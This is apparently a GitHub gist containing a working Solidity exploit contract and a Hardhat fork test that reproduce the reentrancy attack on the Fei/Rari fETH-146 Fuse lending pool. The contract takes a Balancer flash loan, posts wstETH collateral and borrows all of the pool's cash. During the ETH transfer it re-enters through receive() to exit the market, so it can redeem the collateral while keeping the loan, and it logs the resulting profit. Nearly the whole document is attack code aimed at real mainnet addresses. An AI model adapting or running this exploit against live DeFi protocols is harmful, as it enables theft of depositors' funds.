Skip to content

Instantly share code, notes, and snippets.

@arbazkiraak
Last active June 21, 2023 12:31
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save arbazkiraak/7c983377900d3414ea80ee03a5108a38 to your computer and use it in GitHub Desktop.
Save arbazkiraak/7c983377900d3414ea80ee03a5108a38 to your computer and use it in GitHub Desktop.
Fei fETH-146 Fuse Pool exploit - Reentrancy on doTransferOut() while borrowing.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "hardhat/console.sol";
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface IBalancer {
event FlashLoan(address indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount);
function flashLoan(
address recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
}
interface IPool {
function getCash() external view returns (uint);
function mint() external payable;
function borrow(uint borrowAmount) external returns (uint);
function getAccountLiquidity(address account) external view returns (uint, uint, uint);
}
interface IUnitroller {
function enterMarkets(address[] memory cTokens) external returns (uint[] memory);
function getAccountLiquidity(address account) external view returns (uint, uint, uint);
function exitMarket(address cToken) external returns (uint);
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint);
}
interface ICToken {
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint);
function underlying() external view returns (address);
}
contract FeiExploit{
error Notbalancer();
error NotOwner();
address private immutable owner;
address private immutable pool; // Tribe ETH Pool Ethereum Network (fETH-146)
ICToken private immutable fWsEthPool; // Tribe ETH Pool Wrapped Staked Ether (fWSTETH-146)
IERC20 private immutable underlyingWstEth; // Wrapped liquid staked Ether 2.0 (wstETH)
constructor(ICToken _fWsEthPool,IERC20 _underlying,address _pool) {
owner = msg.sender;
pool = _pool;
fWsEthPool = _fWsEthPool;
underlyingWstEth = _underlying;
}
address constant wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant balancerAddress = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
address constant UnicontrollerAddress = 0x88F7c23EA6C4C404dA463Bc9aE03b012B32DEf9e;
IBalancer constant balancer = IBalancer(balancerAddress);
function exploit(IERC20[] calldata tokens,uint256[] calldata amounts) public payable {
IBalancer(balancerAddress).flashLoan(
address(this),
tokens,
amounts,
""
);
}
function log() public view {
console.log("wstEth Balance After: ",underlyingWstEth.balanceOf(address(this)));
console.log("cPool146 Balance After: ",IERC20(address(fWsEthPool)).balanceOf(address(this)));
console.log("ETHER BALANCE : ",address(this).balance);
console.log("WETH BALANCE : ",IERC20(wethAddress).balanceOf(address(this)));
}
function logPoolCash() external view returns (uint256) {
return IPool(pool).getCash();
}
function receiveFlashLoan(IERC20[] calldata tokens,uint256[] calldata amounts,uint256[] calldata feeAmounts,bytes calldata userData) public payable {
if (msg.sender != balancerAddress) revert Notbalancer();
console.log("EXPLOITING fETH-146 Pool");
uint256 cash = IPool(pool).getCash();
address[] memory t = new address[](1);
t[0] = address(fWsEthPool);
IUnitroller(UnicontrollerAddress).enterMarkets(t);
underlyingWstEth.approve(address(fWsEthPool), underlyingWstEth.balanceOf(address(this)));
ICToken(fWsEthPool).mint(underlyingWstEth.balanceOf(address(this)));
(, uint256 val,) = IUnitroller(UnicontrollerAddress).getAccountLiquidity(address(this));
underlyingWstEth.approve(pool, IERC20(address(fWsEthPool)).balanceOf(address(this)));
uint256 out = IPool(pool).borrow(cash);
console.log("BORROWED STATUS :",out);
log();
console.log(IUnitroller(UnicontrollerAddress).redeemAllowed(address(fWsEthPool),address(this),IERC20(address(fWsEthPool)).balanceOf(address(this))));
uint256 radeemOut = ICToken(fWsEthPool).redeemUnderlying(amounts[0]); //0 status code = success
tokens[0].transfer(balancerAddress,amounts[0]);
tokens[1].transfer(balancerAddress,amounts[1]);
}
receive() external payable {
if (msg.sender == pool) {
IUnitroller(UnicontrollerAddress).exitMarket(address(fWsEthPool));
console.log(IUnitroller(UnicontrollerAddress).redeemAllowed(address(fWsEthPool),address(this),IERC20(address(fWsEthPool)).balanceOf(address(this)))); // should be allowed.
}
}
}
@arbazkiraak
Copy link
Author

arbazkiraak commented May 1, 2022

it("FEI EXPLOIT",async() => {
    const [attacker] = await ethers.getSigners()

    const weth_address = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
    const WETH = await ethers.getContractAt("IWETH", weth_address);

    const FusePool = await ethers.getContractAt("IPool","0xfbd8aaf46ab3c2732fa930e5b343cd67cea5054c");
    const WFusePool = await ethers.getContractAt("ICToken","0x49dA42a1EcA4AC6cA0C6943d9E5dc64e4641e0E3");
    const wstEthAddr = await WFusePool.underlying();
    const WsETH = await ethers.getContractAt("IERC20",wstEthAddr);

    const ExploitContract = await ethers.getContractFactory("FeiExploit");
    const exploit = await ExploitContract.connect(attacker).deploy("0x49dA42a1EcA4AC6cA0C6943d9E5dc64e4641e0E3",wstEthAddr,FusePool.address);

    console.log("POOL CASH Before: ",await exploit.logPoolCash());
    await exploit.connect(attacker).exploit([WsETH.address,WETH.address],[ethers.utils.parseUnits('80000','ether'),ethers.utils.parseUnits('50000','ether')],{value: ethers.utils.parseUnits('1','ether')});
    
    console.log("PROFIT : ",await ethers.provider.getBalance(exploit.address));
    console.log("POOL CASH After: ",await exploit.logPoolCash());
});
Fork block number: 14684684

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment